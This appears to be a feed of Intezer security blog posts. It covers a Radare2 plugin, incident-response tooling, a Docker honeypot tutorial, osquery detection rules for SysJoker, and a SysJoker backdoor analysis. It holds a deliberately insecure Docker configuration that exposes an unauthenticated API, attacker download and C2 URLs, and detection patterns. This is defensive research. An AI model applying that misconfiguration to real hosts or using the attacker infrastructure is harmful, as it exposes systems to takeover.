- 'ftp'
CommandLine|endswith: 'scrobj.dll'
condition: selection

To check if a scriptlet file implements this Squiblydoo, use this YARA rule to detect files that may potentially use this technique.

Yara rule for detecting possible Squiblydoo scriptlet.

Technique Name: Windows Management Instrumentation (WMI)

Analysis

Windows Management Instrumentation (WMI) is an interface through which a program or script can perform operations or manage data on a Windows operating system. WMI gives access to many Windows components, and is therefore heavily leveraged by threat actors to execute behaviors for gathering information, executing additional payloads, and lateral movement.

WMI is often used in VBScript. To connect to a WMI namespace in VBScript, the function GetObject can be used with a WMI object path that specifies the namespace that holds the desired classes that you wish to use. The most popular are located in the rootcimv2 namespace.

strComputer = "."
Set objWMIService = GetObject("winmgmts:\ & strComputer & ""rootcimv2"")

Radare Plugin is Here for Intezer Community

Tue, 08 Feb 2022 00:00:00 +0000

When you reverse engineer code as part of an incident response team, you want to quickly get information about what kind of threat you’re dealing with.

A while back we released Intezer Analyze plugins both for IDA Pro and Ghidra to help you zero in on a file’s malicious and unique code. Now it is Radare’s turn. Radare2 (r2) is an open-source tool chain for reverse engineering and forensics. With the release of the community plugin r2analyze, r2 users can now supercharge their reversing session with code genomics from Intezer to attribute the malware family or threat actor.

The Radare Plugin for Reverse Engineering

How to get started:

Make sure you have an Intezer Analyze community account, or a paid team account. (If not, register here.)
Submit the file to Intezer Analyze.
Install the plugin via pip: pip install r2analyze.
Add your API key as an environment variable named INTEZER_API_KEY.
Open the file in r2 and perform an initial analysis (aaa).
Run the plugin as a r2pipe command (#!pipe r2analyze).

Here is an example using a ScarCruft sample (7c82689142a415b0a34553478e445988980f48705735939d6d33c17e4e8dac94). The result from Intezer Analyze is shown below.

Intezer Analyze result for a ScarCruft sample.

If you open the sample and run the plugin, you can see below that four items in the flag space called gene have been created.

Executing r2analyze as a r2pipe plugin.

If selecting only that flag space and listing all the flags, you can see that four functions have been identified as unique to ScarCruft.

Listing detected functions.

If Radare2 is your preferred framework for reverse-engineering and analyzing binaries, now you can use this Intezer Analyze plugin to save time and get additional insights for your incident response team.

Intezer automates the malware analysis process to quickly identify and classify malware families. Analyze malware and unknown files for free at analyze.intezer.com

Additional Resources

3 Ways to Save Incident Response Time

Mon, 31 Jan 2022 00:00:00 +0000

When there is suspicious activity on an endpoint, the incident response team is responsible for investigating it to find out what happened in the network that caused the potential security breach. Is it a fast-spreading malware… or just a false positive? For anyone in digital forensics and incident response, you need to know ASAP if it’s the first, but you also don’t want to waste time investigating false positives.

There are several ways to collect files and forensics evidence, which we’ll dig into below with tips and free tools to save you time on each during incident response. These are three key areas we’ll look at where you can speed up investigations:

HD forensics: Collecting suspicious files based on a predefined incident response plan
Memory forensics: Using tools to get the memory dump of the compromised endpoint
Live forensics: Scanning the runtime of the compromised endpoint

First, one of the most time consuming IR processes is determining if the suspicious activity was a false positive or not. If an infection did take place, identifying the endpoint(s) in the network that were compromised and the malicious artifacts used in the attack can also be tedious. This analysis should be done thoroughly to ensure that no information crucial to the investigation is missed. It can often feel like looking for a needle in the haystack.

Since time is a major factor when handling incidents in order to reduce the potential damage to the environment, the stakes for conducting incident investigation and response processes are high. That means you want efficient procedures and tools on hand, so your team isn’t stuck with something taking hours of time when it could have been done in minutes.

Intezer Analyze is a free tool that can help you quickly classify and analyze files collected by the forensics methods mentioned above. Let’s take you through how we’ve seen incident response teams use Intezer and other tools to get more information about forensics artifacts in minutes, not hours.

HD Forensics and Classifying Collected Files

One of the methods used to collect forensics evidence is taking an image of the compromised endpoint. This essentially makes a copy of the entire filesystem but the extracted output can reach a high volume. Analyzing the extracted data can be very time consuming for incident response teams.

In many cases, the analysis of extracted data is performed by comparing the signatures to predefined lists of known malicious hashes. While useful for identifying known malware samples, the smallest change made to a file changes its hash completely, making the new variant unrecognizable to signature detection.

There are millions of trusted and malicious software created each day. Allow lists based on hashes alone are not enough to detect all of the new threats out there.

Another challenge posed to HD forensics is files with packed payloads. One of the outcomes of an attacker packing a malware sample is it hides the malicious code and creates a new, never-seen-before hash. Since the new hash won’t be picked up by existing blocklists, the malware likely won’t be detected.

Intezer Analyze is different from signature detection. Intezer breaks each executable file into binary code patterns, also called code genes. These genes are referenced against Intezer’s vast database containing billions of code pieces from both trusted applications and malware. If a file shares code with another malware, it’s immediately flagged as malicious, and classified to the malware family it shares code with. This has proven to be very effective for detecting malware variants over time.

There are two main ways to send files to Intezer Analyze for analysis:

Online: Submit a file using the web interface, either by hash (SHA256, SHA1, MD5) or uploading a file from your device.
Script: Submitting a collection or a folder of files and/or hashes at once can be accomplished using a script created with Intezer’s
SDK. The output of the script, shown below, contains the details of all files that were identified as malicious or at least suspicious by Intezer Analyze. This method saves you time that would usually have to spend classifying and analyzing files.

Using a script based on Intezer’s SDK to analyze a folder that contains several files. The output provides links to the analysis reports for all the malicious and suspicious files in question, including their verdict, malware family name and SHA256.

More detailed information can be found on the web UI. If you open the analysis of the last file from the script, you can see the full analysis report.

Analysis of a Loki sample (https://analyze.intezer.com/files/339620e7f6f5a2b4c511c76488b19bed21e1015afe4b037a7a1b27e07fba0ec2)

This sample is identified as a Loki variant since it shares code genes with other samples from the same malware family, seen in the process tree resulting from the execution of the file in a sandbox.

Next, you can view the TTPs with each technique mapped to the MITRE ATT&CK® framework. Also, the IoCs tab provides network information and hashes of the files that were dropped by the malware. All of this information can be downloaded in a CSV format.

Under TTPs, you can see that among the capabilities of this sample are that it collects identification information about the system and has information stealing capabilities. This makes sense considering that the sample shares most of its code with Loki, an information stealing malware. The information presented further supports the classification of the file as Loki.

IoCs extracted from the Loki sample can be used to detect similar threats which use the same domains.

Intezer Analyze also provides a code-based vaccine for each threat which can be downloaded in several formats, including YARA, STIX, Stix2, and OpenIOX. Signatures that are based on code are stronger than string-based signatures because they are produced from the specific code that executes a certain functionality in the malware. You can use the vaccine and the information provided in the IoCs and TTPs tabs to detect similar files in the environment using your existing security tools like SIEM, EDR and XDR.

Generating a code-based vaccine in Intezer Analyze.

For new threat variants, the analysis may show a portion of unique code as a result of new capabilities and features added to the malware. In this case, an investigator might want to get more information about the threat. If a deeper analysis of the file is needed, Intezer has plugins for IDA Pro and Ghidra. Both plugins enrich the assembly code with Intezer’s unique code reuse insights. These plugins accelerate the reverse engineering process and allow the analyst to focus solely on the malicious components by filtering out the trusted and library code sections.

Analyzing Memory Dumps to Improve Incident Response Time

Another source of forensics evidence is based on the volatile memory of the compromised endpoint. This method presents the image of all running processes and produces a smaller amount of files which need to be analyzed. There are several popular tools that are used for memory acquisition of Windows machines such as Dumpit, WinPmem, and Process Hacker. The most common tool to inspect memory dumps is Volatility. By using Intezer with the Volatility plugin (available as a free trial), you can get a full code reuse analysis of the memory dump in just a few minutes.

Executing Intezer's plugin for Volatility on a memory dump.

To run the plugin, use your Intezer Analyze API key, which can be passed as an argument or set in the environment variables of the system. The results of the execution can be viewed in the Endpoint and Memory Scans report page and they will look similar to this:

The memory scan shows the classification of all running code and processes collected from memory and analyzed using the Volatility plugin.

As you can see, the incident response team benefits from classifying all threats and their capabilities, which normally takes hours or even days when using EDRs.

Scan Compromised Endpoints to Detect Threats Loaded In-Memory

The advantage of scanning the runtime of compromised environments is having the ability to detect malicious processes that are being executed, even if they managed to evade detection and bypass other security tools.

Scanning the runtime environment of the endpoints can be extremely useful for conducting digital forensics and incident response (DFIR). With this approach, once an alert on an endpoint is triggered, the investigator can obtain the memory dump and scan it for any malicious artifacts, making it possible to find the necessary artifacts and narrowing the scope of the investigation around the presented evidence.

In this case, the Intezer Analyze endpoint scanner can be executed on a compromised Windows endpoint. It collects all of the loaded processes and analyzes them using Intezer’s code comparison technology. You can see the result on the Analyze web UI. The scanner saves investigators not only the effort of collecting memory dumps, but also the time spent analyzing them.

Below is an endpoint infected with Formbook malware:

Results from the endpoint scanner show a malicious process that was detected as Formbook information stealer. The scanner quickly picked up the malicious process and identified it without the need for manual investigation.

Get the Tools for More Efficient Incident Response

The features, tools and plugins mentioned in this blog are aimed at making the lives of incident responders easier and more efficient. All the tools mentioned above are free or have free trials available. Sign up to Intezer Analyze for a free community account to start taking advantage of these tools and save time the next time you’re investigating an incident.

Tools mentioned in this article:

Make your First Malware Honeypot in Under 20 Minutes

Thu, 20 Jan 2022 00:00:00 +0000

For a free honeypot, you can use one of the several open-source options listed below.

A “honeypot” is a metaphor that references using honey as bait for a lure or trap. Honeypots have served many purposes in history, including recruiting spies and catching criminals in real life. Honeypots have also long made their way into computing as a way to gather information about potential threats targeting public facing assets.

Honeypots are a powerful tool for threat intelligence researchers, security engineers, and malware analysts. Honeypots come in many forms, collecting different information and serving distinct purposes. Honeypots can be used to collect:

New malware or rampant malware to analyze over time
Indicators of compromise (IoCs) of malicious IP addresses conducting attacks
New exploits targeting applications
They can even be used as a way to waste an attacker’s time through deception

Honeypots serve a powerful purpose for threat intelligence. Having the ability to collect information from attackers in a controlled environment is an important intelligence asset which can help you always stay one step ahead of stopping real attacks before they happen.

What’s the Difference Between a High and Low Interaction Honeypot?

Honeypots come in different tiers of interactivity. A low interaction honeypot is a honeypot that provides very limited access to the system, with just enough to log the initial request of an attack but no more. Usually, low interaction honeypots are just a network service that logs all requests coming into it.

A high interaction honeypot is able to do much more. Rather than just providing an emulated service to probe, a high interaction honeypot provides a system for the attacker to perform post-exploitation activities on. This lets security researchers and malware analysts discover the tools and techniques that are being performed on the system after exploitation. This information is extremely valuable as it can bring to light emerging malware and campaigns targeting services hosted on the internet. A lot more IoCs and artifacts can be gathered this way, making intelligence stronger.

Setting up your Cloud Environment

The cloud is the perfect place to host your honeypot because it’s cheap, quick, and flexible. Many cloud providers offer a free tier that includes a free virtual machine or an allowance to spend on cloud resources. A virtual machine is a virtual computer that is able to be developed on a physical server through code. Virtual computers can easily host a service which can be used for the honeypot.

For this tutorial, we will create a virtual machine via the AWS console. Start by searching for the EC2 service in AWS. If you already have your infrastructure set up for your honeypot, you can skip this step.

EC2 service in the Management Console.

Click Launch instance on the EC2 Dashboard. This will begin the process of setting up a virtual machine.

Launch instance button is located on the dashboard.

On the next page you will be presented with a number of Amazon Machine Images (AMI) and architecture options. These machine images are the software that will be used in the virtual machine, such as the operating system and applications.

Amazon machine images to choose from.

Let’s choose Amazon Linux 2. The next page you will be asked to choose the size of the instance type. This decides the amount of CPU cores and RAM your virtual machine will have and also the price. There is a free tier option in AWS.

Instance Type choices in AWS.

Once you have decided on the size of the virtual machine, you will configure the instance and its networking. It’s best to add a name tag to help identify the instance and to configure your security group to only allow inbound SSH access from your router or VPN. This means that only you can access the SSH port while the wider internet will not be able to reach it. This way, you can test deploying your honeypot service without having it attacked before you are ready.

To use just your own IP address, click the dropdown box under Source and choose My IP. This will place your own IP address into the field using a CIDR of 32, which restricts it to just that one IP.

Security Group configuration.

This group will be changed later to expose your honeypot after it is set up. As you finish the configuration and click Launch at the review page, you will be prompted to choose a key pair for the SSH communication. A key pair is a set of asymmetric keys, usually RSA, that is used as a way to authenticate to the virtual machine over the internet. You can generate a new key pair quickly using the prompt and download the private key (.pem) to your computer.

Creation of a new RSA key pair.

The instance will take a short time to boot. You will then see a lot of information about the machine, which includes its public IPv4 address. This is the address that will be used to reach the services set up:

To SSH to the terminal, use the terminal in Mac/Linux, or use a SSH client like PuTTY for Windows. The command to SSH to your instance is:

ssh -i [Path to RSA-Key] ec2-user@[Public IP]

SSH command to log into the EC2 instance.

If you set up the configuration properly, then you will be able to reach your virtual machine over SSH. Depending on how your permissions are configured on Mac and Linux machines, you might have to configure the permissions on the downloaded private key before use. Once you SSH into your machine, it’s time to set up the honeypot software.

Your Choice of Honeypot

It’s now time to decide your choice for the honeypot technology. First we want to highlight open-source honeypots that are the result of great work by the security community. A good resource to look at is the GitHub page for Awesome Honeypots. Awesome Honeypots is a curated list of open-source honeypots and honeypot management tools. It contains links to honeypot projects for popular applications and services such as databases, content management systems, and web applications.

Awesome Honeypots on GitHub.

Many popular applications are covered in this list, especially other free and open-source software options for finishing your honeypot.

Setting Up Your Application

Now, you need to set up the application that you will use as the honeypot. Approximatly 80% of honeypots are attacked within a day of them being set up according to a report from Palo Alto Networks. You can set up any application that you want as the honeypot. This application could be an exposed version of software that your organization uses or develops. Any application can be attacked by threat actors. If you are unsure of what to deploy, below we outline how to deploy a simple honeypot application using Docker.

A great way to deploy applications is through Docker. Docker is a platform that delivers software through images that are run in environments called containers. It is simple to deploy an application with Docker, but Docker itself can also be an application worth targeting. Let’s set up a honeypot using a misconfigured Docker API. Misconfigured Docker APIs are a favorite for threat actors to target because of their simplicity to exploit to run malicious code. In order to misconfigure Docker, you need to install it first. This can be achieved very quickly on Amazon Linux 2. Start by updating the installed packages on the instance.

sudo yum update -y

Then, install the Docker Engine package.

sudo amazon-linux-extras install docker

Next, start the Docker service.

sudo service docker start

Add the user to the docker group so that you can execute Docker commands without the need for sudo.

sudo usermod -a -G docker ec2-user

You will need to log out and log back in for the group changes to be picked up in your SSH terminal session. Now that Docker is installed and running, you can use it as a honeypot by misconfiguring the API. Let’s use the tutorial from here. Start by creating a file with the following content:

File: /etc/systemd/system/docker.service.d/override.conf

[Service]
ExecStart=
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375

This will configure the Docker daemon to listen for Docker Engine API requests on port 2375 over TCP. The default setting provides unauthenticated direct access to the Docker daemon, which means it can be exploited by attackers to run malicious code with ease. Once the file is created, reload the unit files and restart the Docker service by running the following commands:

sudo systemctl daemon-reload
sudo systemctl restart docker.service

One can use netstat to confirm that the daemon is listening on port 2375.

To check that your attack vector is working in a test environment, try to create a container remotely from your own terminal, outside the SSH tunnel. Start by reconfiguring the security group in AWS to allow inbound access to your API port from your router or VPN IP address.

Edited security group to allow access to Docker API port.

You can test by running Docker commands from your terminal with the -H flag specifying the public IP address of the EC2 instance and the port of the Docker API.

docker -H : info

You can also test by creating a container to test. We will run an Alpine container.

Creation of a container from a remote system.

Docker image information.

Alert integration options.

You’ve Been Attacked! Now What?

The above screen grab shows the first half of the malicious activity. Even though you can see in the alerts that the bash history was tampered with, you can still see all the events that have happened on the instance. Important information and a timeline of the attack can be gathered from the events listed here.

Starting from the bottom and working our way up, we see that a new container image docker72590/alpine:latest was executed. This container was documented in a blog by Lacework and it is from a group pretending to be the threat actor TeamTNT. Many files are executed, including creating SSH keys with the name TeamTNT. We can see that a bash script has been downloaded from 104.192.82[.]138//s3f1015/b/a.sh. This is a great place to start collecting IoCs. Now, let’s take a look at the Docker image that was executed. Go to your honeypot under Hosts and click on Images.

Running containers on the honeypot.

Malicious container code.

XMRig Miner alert.

Network and container details.

Genetic analysis of the cryptominer in Intezer Analyze.

Related samples based on shared code genes.

Start Making Your Own Honeypot

Try it for yourself. Honeypots are a powerful asset for any organization looking to harvest the power of threat intelligence. They can gather critical information, deceive attackers, and test the security configuration of cloud assets. Honeypots have a long history and an active community that creates open-source honeypots and frameworks to help protect those hosting critical cloud assets.

IoCs Observed in this Honeypot

File Hashes

Hash	Malware Family	Description
`c64f7d22262caee9a8b59474ba1bd299b27332b9fb5fa30751c8caffe596fc29`	Coinminer	Cryptominer
`e03cf2af46ad1fe590e63f0020243c6e8ae94f074e65ace18c6d568283343dac`	XMRig Miner	Cryptominer
`da3e84f5dc117cb8fb942e54839efe9fe847778d393cdac0d0d9ce9c1f548bfe`	Coinminer	Cryptominer
`9aaa27d3aa6bd327d0cb707250fba565372cc3678436043ee6a619842011dc43`	Coinminer	Cryptominer
`c0fd1716d95184b960a5141b1340f55be359bd9a9d56811cf0e1e38254cb6e69`	Masscan	Port Scanning Tool
`fb86120a4a1b13b29957eb5f95f7857cf9e469514fc20d25fad02ae87bf99091`	XMRig Miner	Cryptominer
`8daa9b62df448daafe4c764f7b02253a91d3af4d0d2556861408d5e02a73fe22`	Miner Launcher	Ensures the miners stay running
`05e614cf49029d6fdff15c77909ff7d7109184fbad4434aba6248bfdbc2cfcf3`	Miner Launcher	Ensures the miners stay running
`7f3d989fec5eb1fbce46bce1777266334f385881b2adda6aa73cce238019bceb`	zgrab	Port Scanning Tool

Network

104.192.82[.]138

Crypto Wallet

85X7JcgPpwQdZXaK2TKJb8baQAXc3zBsnW7JuY7MLi9VYSamf4bFwa7SEAK9Hgp2P53npV19w1zuaK5bft5m2NN71CmNLoh

Detection Rules for Sysjoker (and How to Make Them With Osquery)

Fri, 14 Jan 2022 00:00:00 +0000

On January 11, 2022, we released a blog post on a new malware called SysJoker. SysJoker is a malware targeting Windows, macOS, and Linux. At the time of the publication, the Linux and macOS versions were not detected by any scanning engines on VirusTotal. As a consequence to this, we decided to release a followup blog posting showing how the information we released can be used to investigate whether you have been affected.

There are many tools available to gather system information and to perform threat hunting within an organization. We decided to use osquery in this blog post. The reason for choosing osquery is that it is supported for all the affected operating systems that SysJoker targets and it is open source allowing essentially anyone to follow along in this tutorial.

Information Gathering with Osquery

Osquery runs as an agent on machines and is designed to provide endpoint visibility in a performant way. The data is collected by the agent and exposed via SQL queries.

File Artifacts

The report highlights files and folders created by the SysJoker malware. We can use these to write hunting or detection queries. Since the Windows version is well detected by antivirus engines and Patrick Wardle released a great blog post on how his free macOS security tools can detect the macOS variant, we will put most focus on the Linux variant. Since osquery abstracts the differences between all the operating systems into SQL, the queries we produce for Linux can easily be translated to the other operating systems.

If we look at the report, we can see that all of the files are created under a folder named /.Library. This is a very unusual folder that is not expected to exist on a normal Linux install. We can use the osquery table file to monitor for files under this folder. According to the schema for this table, we can get which user created it, when the file was created, modified, and last accessed. To enrich the data, we join the uid with the users table and the gid with the groups table. This allows us to get the username and the group name instead of just the id numbers.

Another thing that is useful is the file hash for the files. This can be obtained by joining with the hash table on the path. This allow us to construct a query like this:

SELECT path, filename, username, groupname, mtime, ctime, atime, md5, sha1, sha256 FROM file
 JOIN users using (uid)
 JOIN hash using (path)
 JOIN groups using (gid)
 WHERE file.directory in ('/.Library');

For macOS we can use the same logic by just changing the directory to the one from the report: /Library/MacOsServices. This also is not a standard folder.

On Windows, the malware uses two folders under the hidden ProgramData folder. We can search for files under these two folders. With this information we can create the following queries for our pack. In the pack we are using an interval of 60 seconds.

 "linux-artifacts": {
 "query" : "SELECT path, filename, username, groupname, mtime, ctime, atime, md5, sha1, sha256 FROM file
 JOIN users using (uid)
 JOIN hash using (path)
 JOIN groups using (gid)
 WHERE file.directory in ('/.Library');",
 "interval" : "60",
 "version": "1.0.0",
 "description" : "https://intezer.com/blog/malware-analysis/new-backdoor-sysjoker/",
 "platform": "linux",
 "value" : "Possible sysjoker Linux files"
 },
 "macos-artifacts": {
 "query" : "SELECT path, filename, username, groupname, mtime, ctime, atime, md5, sha1, sha256 FROM file
 JOIN users using (uid)
 JOIN hash using (path)
 JOIN groups using (gid)
 WHERE file.directory in ('/Library/MacOsServices');",
 "interval" : "60",
 "version": "1.0.0",
 "description" : "https://intezer.com/blog/malware-analysis/new-backdoor-sysjoker/",
 "platform": "darwin",
 "value" : "Possible sysjoker macOS files"
 },
 "windows-artifacts": {
 "query" : "SELECT path, filename, username, groupname, mtime, ctime, atime, md5, sha1, sha256 FROM file
 JOIN users using (uid)
 JOIN hash using (path)
 JOIN groups using (gid)
 WHERE file.directory in ('C:\ProgramData\RecoverySystem', 'C:\ProgramData\SystemData');",
 "interval" : "60",
 "version": "1.0.0",
 "description" : "https://intezer.com/blog/malware-analysis/new-backdoor-sysjoker/",
 "platform": "windows",
 "value" : "Possible sysjoker Windows files"
 }

Persistence

If we look at the persistence documented in the report, we can see that it uses different techniques for the different operating systems: cron job on Linux, launchd entry on macOS, and registry run key on Windows. While they are different, luckily osquery has tables for these that can be used.

The cron job is executed on reboot. This allow us to query the cron table for job that runs at a reboot event with a command including the name of the malware file:

SELECT * FROM crontab WHERE event LIKE '@reboot' AND command LIKE '%/updateSystem);

On macOS we can use the launchd table to query for entries with a similar name to the name used by SysJoker:

SELECT * FROM launchd WHERE path LIKE '%com.apple.update.plist;

Finally on Windows we can query the registry table for keys similar to the registry key in the report:

SELECT * FROM registry WHERE key LIKE 'HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun' AND name = 'igfxCUIService';

Next Steps

The next step is to tell the osquery daemon to load the query pack we created. This can be done by adding a pack entry to the daemon’s configuration file:

"packs": {
 "sysjoker": "/path/to/pack/sysjoker.json"
 }

Once the pack has been loaded the daemon will log result to the result log. To get alerts when matches have been found, the logs can be forward to a SIEM. (The process of configuring log forwarding to a SIEM is out of scope of this and will not be covered.)

When using packs the name of the query will be prepended by the pack name, making it easy to create an alert. For example in this tutorial, all queries with a result will have a name starting with pack_sysjoker. If you don’t want to create a pack from scratch, you can use the pack provided in the appendix below.

Appendix A – sysjoker.json Pack

{
 "queries": {
 "linux-artifacts": {
 "query" : "SELECT path, filename, username, groupname, mtime, ctime, atime, md5, sha1, sha256 FROM file
 JOIN users using (uid)
 JOIN hash using (path)
 JOIN groups using (gid)
 WHERE file.directory in ('/.Library');",
 "interval" : "60",
 "version": "1.0.0",
 "description" : "https://intezer.com/blog/malware-analysis/new-backdoor-sysjoker/",
 "platform": "linux",
 "value" : "Possible SysJoker Linux files"
 },
 "macos-artifacts": {
 "query" : "SELECT path, filename, username, groupname, mtime, ctime, atime, md5, sha1, sha256 FROM file
 JOIN users using (uid)
 JOIN hash using (path)
 JOIN groups using (gid)
 WHERE file.directory in ('/Library/MacOsServices');",
 "interval" : "60",
 "version": "1.0.0",
 "description" : "https://intezer.com/blog/malware-analysis/new-backdoor-sysjoker/",
 "platform": "darwin",
 "value" : "Possible SysJoker macOS files"
 },
 "windows-artifacts": {
 "query" : "SELECT path, filename, username, groupname, mtime, ctime, atime, md5, sha1, sha256 FROM file
 JOIN users using (uid)
 JOIN hash using (path)
 JOIN groups using (gid)
 WHERE file.directory in ('C:\ProgramData\RecoverySystem', 'C:\ProgramData\SystemData');",
 "interval" : "60",
 "version": "1.0.0",
 "description" : "https://intezer.com/blog/malware-analysis/new-backdoor-sysjoker/",
 "platform": "windows",
 "value" : "Possible SysJoker Windows files"
 },
 "linux-cron": {
 "query" : "SELECT * FROM crontab
 WHERE command LIKE '@reboot%'
 AND command LIKE '%updateSystem)';",
 "interval" : "60",
 "version": "1.0.0",
 "description" : "https://intezer.com/blog/malware-analysis/new-backdoor-sysjoker/",
 "platform": "linux",
 "value" : "Possible SysJoker crontab entry"
 },
 "macos-plist": {
 "query" : "select * from launchd where path like '%com.apple.update.plist';",
 "interval" : "60",
 "version": "1.0.0",
 "description" : "https://intezer.com/blog/malware-analysis/new-backdoor-sysjoker/",
 "platform": "darwin",
 "value" : "Possible SysJoker macOS plist entry"
 },
 "win-registry": {
 "query" : "SELECT * FROM registry WHERE key LIKE 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run' AND name = 'igfxCUIService';",
 "interval" : "60",
 "version": "1.0.0",
 "description" : "https://intezer.com/blog/malware-analysis/new-backdoor-sysjoker/",
 "platform": "windows",
 "value" : "Possible SysJoker Windows registry entry"
 }
 }
}

New SysJoker Backdoor Targets Windows, Linux, and macOS

Tue, 11 Jan 2022 00:00:00 +0000

Malware targeting multiple operating systems has become no exception in the malware threat landscape. Vermilion Strike, which was documented just last September, is among the latest examples until now.

In December 2021, we discovered a new multi-platform backdoor that targets Windows, Mac, and Linux. The Linux and Mac versions are fully undetected in VirusTotal. We named this backdoor SysJoker.

SysJoker was first discovered during an active attack on a Linux-based web server of a leading educational institution. After further investigation, we found that SysJoker also has Mach-O and Windows PE versions. Based on Command and Control (C2) domain registration and samples found in VirusTotal, we estimate that the SysJoker attack was initiated during the second half of 2021.

SysJoker masquerades as a system update and generates its C2 by decoding a string retrieved from a text file hosted on Google Drive. During our analysis the C2 changed three times, indicating the attacker is active and monitoring for infected machines. Based on victimology and malware’s behavior, we assess that SysJoker is after specific targets.

SysJoker was uploaded to VirusTotal with the suffix .ts which is used for TypeScript files. A possible attack vector for this malware is via an infected npm package.

Below we provide a technical analysis of this malware together with IoCs and detection and response mitigations.

Technical Analysis of SysJoker

The malware is written in C++ and each sample is tailored for the specific operating system it targets. Both the macOS and Linux samples are fully undetected in VirusTotal.

e06e06752509f9cd8bc85aa1aa24dba2 in VirusTotal targeting Mac M1 processor

Behavioral Analysis

SysJoker’s behavior is similar for all three operating systems. We will analyze SysJoker’s behavior on Windows.

Unlike Mac and Linux samples, the Windows version contains a first-stage dropper. The dropper (d71e1a6ee83221f1ac7ed870bc272f01) is a DLL that was uploaded to VirusTotal as style-loader.ts and has only 6 detections at the time of this writing.

The Dropper drops a zipped SysJoker (53f1bb23f670d331c9041748e7e8e396) from C2 https[://]github[.]url-mini[.]com/msg.zip, copies it to C:\ProgramData\Recovery\Systemrecovery\Windows.zip, unzips it and executes it. All of these actions are executed via PowerShell commands.

Process tree showing PowerShell commands.

Once SysJoker (d90d0f4d6dad402b5d025987030cc87c) is executed it sleeps for a random duration between 90 to 120 seconds. Then, it will create the C:\ProgramData\SystemData directory and copy itself under this directory, masquerading as igfxCUIService.exe (igfxCUIService stands for Intel Graphics Common User Interface Service). Next, it will gather information about the machine using Living off the Land (LOtL) commands. SysJoker uses different temporary text files to log the results of the commands. These text files are deleted immediately, stored in a JSON object, and then encoded and written to a file named microsoft_windows.dll. The figure below shows the JSON object built in memory by SysJoker.

JSON object built in memory by SysJoker.

It will gather the MAC address, user name, physical media serial number, and IP address (see IoCs section for the full commands list). SysJoker will create persistence by adding an entry to the registry run key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run. Between each of the steps above, the malware sleeps for a random duration.

The following screenshot shows the processes tree and commands.

Processes tree and commands.

Next, SysJoker will begin its C2 communication.

Decoding/Encoding Scheme

SysJoker holds within the binary a hardcoded XOR key which is used for decoding and encoding strings from within the binary and data sent and received from the C2. The XOR key is an RSA public key that is not used in the decoding scheme. The same XOR key exists in all versions of SysJoker:

MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDkfNl+Se7jm7sGSrSSUpV3HUl3vEwuh+xn4q
BY6aRFL91x0HIgcH2AM2rOlLdoV8v1vtG1oPt9QpC1jSxShnFw8evGrYnqaou7gLsY5J2B06eq5UW7
+OXgb77WNbU90vyUbZAucfzy0eF1HqtBNbkXiQ6SSbquuvFPUepqUEjUSQIDAQAB

Resolving C2

To get an available C2 and start communication, SysJoker first decodes a hardcoded Google Drive link.

Decoding with CyberChef.

The Google Drive link hosts a text file named domain.txt that holds an encoded C2. The text file’s content changes over time, depending on the current available C2. SysJoker will decode the C2 and send the collected user’s information to the C2’s /api/attach directory as an initial handshake. The C2 replies with a unique token which will be used as an identifier from now on when the malware communicates with the C2.

C2 Instructions

SysJoker runs a while(1) loop that sends a request to the C2’s /api/req directory with the unique token and will process the C2’s response which is built as JSON using functions from this library. This is how SysJoker pings the C2 for instructions (see step 2 in the image below):

If the server responds with data, SysJoker will parse the received payload (see step 3 in the image below). SysJoker can receive the following instruction from the C2: exe, cmd, remove_reg, and exit.

The following image shows the flow of SysJoker’s communication with the C2.

remove_reg and exit are not implemented in this current version. Based on the instruction names, we can assume that they are in charge of self-deletion of the malware. Let’s look into exe and cmd instructions:

exe – This command is in charge of dropping and running an executable. SysJoker will receive a URL to a zip file, a directory for the path the file should be dropped to, and a filename that the malware should use on the extracted executable. It will download this file, unzip it and execute it.

IDA code snippet of the parsing function, if exe part.

After execution, the malware will reply to the C2’s /api/req/res API with either “success” if the process went successful or “exception” if not (step 4 in the image above).

IDA code snippet of the parsing function, building response status.

cmd – This instruction is in charge of running a command and uploading its response to the C2. SysJoker will decode the command, execute it and upload the command’s response to the C2 via /api/req/res API (step 4 in the image above).

IDA code snippet of the parsing function, building cmd command response.

During our analysis, the C2 hasn’t responded with a next stage instruction.

Detection & Response

To detect if a machine in your organization has been compromised, we recommend taking the following steps:

Use memory scanners to detect SysJoker payload in memory.

For Linux machines, use Intezer Protect to gain full runtime visibility over the code in your Linux-based systems and get alerted on any malicious or unauthorized code. We have a free community edition.
For Windows machines, use Intezer’s Endpoint Scanner. The Endpoint Scanner will provide you with visibility into the type and origin of all binary code that resides in your machine’s memory. The figure below shows an example of an endpoint infected with SysJoker:

Use detection content to search in your EDR or SIEM. We provided you with IoCs and a rich list of detection content for each operating system below. Use these with your EDR to hunt for infected machines. We will publish a dedicated blog soon discussing how to use detection content for detecting SysJoker.

If you have been compromised, take the following steps:

Kill the processes related to SysJoker, delete the relevant persistence mechanism, and all files related to SysJoker (see detection content section below)
Make sure that the infected machine is clean by running a memory scanner
Investigate the initial entry point of the malware. If a server was infected with SysJoker, in the course of this investigation, check:
- Configuration status and password complexity for publicly facing services
- Used software versions and possible known exploits

SysJoker’s Linux and Windows versions are now indexed in Intezer Analyze.

Final Points

There are indications that SysJoker attack is performed by an advanced threat actor:

The fact that the code was written from scratch and hasn’t been seen before in other attacks. On top of that, it is rare to find previously unseen Linux malware in a live attack.
The attacker registered at least 4 different domains and wrote from scratch the malware for three different operating systems.
During our analysis, we haven’t witnessed a second stage or command sent from the attacker. This suggests that the attack is specific which usually fits for an advanced actor.

Based on the malware’s capabilities we assess that the goal of the attack is espionage together with lateral movement which might also lead to a ransomware attack as one of the next stages.

IoCs

Files

ELF

bd0141e88a0d56b508bc52db4dab68a49b6027a486e4d9514ec0db006fe71eed
d028e64bf4ec97dfd655ccd1157a5b96515d461a710231ac8a529d7bdb936ff3

Mac

1a9a5c797777f37463b44de2b49a7f95abca786db3977dcdac0f79da739c08ac
fe99db3268e058e1204aff679e0726dc77fd45d06757a5fda9eafc6a28cfb8df
d0febda3a3d2d68b0374c26784198dc4309dbe4a8978e44bb7584fd832c325f0

Windows

61df74731fbe1eafb2eb987f20e5226962eeceef010164e41ea6c4494a4010fc
1ffd6559d21470c40dcf9236da51e5823d7ad58c93502279871c3fe7718c901c
